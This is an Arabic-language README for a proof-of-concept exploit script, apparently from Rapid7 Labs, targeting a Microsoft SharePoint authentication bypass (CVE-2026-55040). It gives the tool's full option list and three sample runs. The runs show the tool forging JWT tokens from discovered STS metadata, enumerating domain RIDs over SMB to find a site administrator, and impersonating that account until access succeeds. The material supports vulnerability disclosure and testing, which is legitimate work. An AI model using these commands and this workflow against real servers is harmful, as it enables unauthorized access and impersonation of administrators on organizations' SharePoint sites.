
استغلال إثبات المفهوم لثغرة Microsoft SharePoint CVE-2026-55040 الذي يزوّر رموز JWT، ويتجاوز المصادقة، ويكتشف البيانات الوصفية تلقائيًا، وينتحل صفة مسؤولي الموقع عبر تعداد SID.
CVE-2026-55040.py هو سكربت لإثبات المفهوم (PoC) لاستغلال ثغرة تجاوز المصادقة في SharePoint، CVE-2026-55040.
للحصول على تحليل تقني كامل، راجع تحليل Rapid7.
$ python CVE-2026-55040.py --help
usage: CVE-2026-55040.py [-h] [--target TARGET] [--host HOST] [--x5t X5T] [--realm REALM] [--sid SID] [--upn UPN]
[--auto-upn] [--username USERNAME] [--rid RID] [--max-rid MAX_RID] [--port PORT]
[--domain-ip DOMAIN_IP] [--http]
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
options:
-h, --help show this help message and exit
--target TARGET Target IP address (auto-discovers all params)
--host HOST SharePoint hostname (auto-discovered)
--x5t X5T STS signing cert x5t (auto-discovered from metadata)
--realm REALM SharePoint realm GUID (auto-discovered from metadata)
--sid SID Windows SID for identity (auto-discovered via LSARPC)
--upn UPN UPN for identity, e.g. [email protected] (alternative to --sid, no SMB needed)
--auto-upn Auto-construct UPN from HTTPS cert domain (no SMB needed; derives host from cert)
--username USERNAME Username for --auto-upn (default: administrator)
--rid RID Specific RID to use (skips iteration). If not set, auto-SID iterates 500 then 1000+ to find a
site admin
--max-rid MAX_RID Max RID to try during auto-SID iteration (default: 10000)
--port PORT Non-standard port for target web service (default: 443 for HTTPS, 80 for HTTP)
--domain-ip DOMAIN_IP
Domain controller IP for SMB/LSARPC discovery (default: same as --target). Use when the DC is
a different system than the SharePoint server
--http Use HTTP instead of HTTPS (disables auto-discovery; must supply --host, --x5t, --realm, --sid
manually)
من خلال توفير اسم مضيف هدف فقط عبر --host، سيستخدم JWT المزوّر هوية تسمية AccessToken لمستخدم NT AUTHORITY\LOCAL SERVICE.
ملاحظة: على الرغم من أن تجاوز المصادقة سينجح، فإن الموارد التي يمكنك الوصول إليها عبر هوية AccessToken محدودة. على سبيل المثال، لا يمكنك الوصول إلى نقاط نهاية معينة مثل /_api/contextinfo (كما هو موضح أدناه أثناء عملية "الحصول على ملخص النموذج")، ولكن يمكنك الوصول إلى موارد محمية أخرى، على سبيل المثال /_vti_bin/sites.asmx. اعتمادًا على الثغرة التالية التي يتم ربط تجاوز المصادقة بها، قد يكون استخدام هوية تسمية AccessToken قابلاً للتطبيق.
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
[*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] No --domain-ip/--sid/--upn provided; using local service identity
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
[2] Forging JWT token...
[+] Token forged (1025 bytes)
[3] Obtaining form digest...
[-] Failed to get digest. Response: {"odata.error":{"code":"-2147024891, System.UnauthorizedAccessException","message":{"lang":"en-US","value":"Access denied. You do not have permission to perform this action or access this resource."}}}
من خلال توفير اسم مضيف هدف عبر --host و--domain-ip لوحدة تحكم المجال المقابلة، سيستخدم JWT المزوّر هوية تسمية urn:office:idp:activedirectory لمستخدم Windows Security Identifier (SID). يتم اكتشاف SID لهذا المستخدم تلقائيًا للعثور على مسؤول الموقع.
إذا كنت تعرف SID مسبقًا، يمكنك حذف --domain-ip وتمرير SID المعروف عبر --sid.
$ python3 -m pipx install impacket
$ python3 CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box --domain-ip 192.168.86.11
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
[*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
[+] Discovering domain SID via SMB (192.168.86.11)...
[*] domain_sid: S-1-5-21-4203888158-2793536450-3921675298 (will iterate RIDs)
[*] DC differs from target; will discover SharePoint hostname separately
[+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
[+] Iterating RIDs to find site admin (500, then 1000-10000)...
[-] RID 500: no valid user
[-] RID 1000: no valid user
[-] RID 1050: no valid user
[-] RID 1100: no valid user
[-] RID 1150: no valid user
[-] RID 1200: no valid user
[-] RID 1250: no valid user
[-] RID 1300: no valid user
[-] RID 1350: no valid user
[-] RID 1400: no valid user
[-] RID 1450: no valid user
[-] RID 1500: no valid user
[-] RID 1550: no valid user
[-] RID 1600: no valid user
[+] RID 1602: i:0#.w|testdomain2\testuser1 (testuser1)
[+] RID 1605: SHAREPOINT\system (System Account) ** SITE ADMIN **
[+] Found site admin at RID 1605, stopping scan
[+] Using site admin SID: S-1-5-21-4203888158-2793536450-3921675298-1605
[+] Login: SHAREPOINT\system
[2] Forging JWT token...
[+] Token forged (1040 bytes)
[3] Obtaining form digest...
[+] Digest obtained.
من خلال توفير اسم مضيف هدف عبر --host و--upn لمستخدم موقع معروف، سيستخدم JWT المزوّر هوية تسمية urn:office:idp:activedirectory لاسم المستخدم الرئيسي المحدد (UPN).
$ python3 CVE-2026-55040.py --host WIN-79B765S1R4G --upn [email protected]
======================================================================
Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
======================================================================
[1] Auto-discovery...
[+] Discovering x5t and realm from STS metadata...
[*] x5t: a1g8DVePm6FB892C0AAB23-Wl7M
[*] realm: 66aaa1e2-b658-41c4-8911-ff2d5bab5423
[+] Targeting: https://WIN-79B765S1R4G
[2] Forging JWT token...
[+] Token forged (1047 bytes)
[3] Obtaining form digest...
[+] Digest obtained.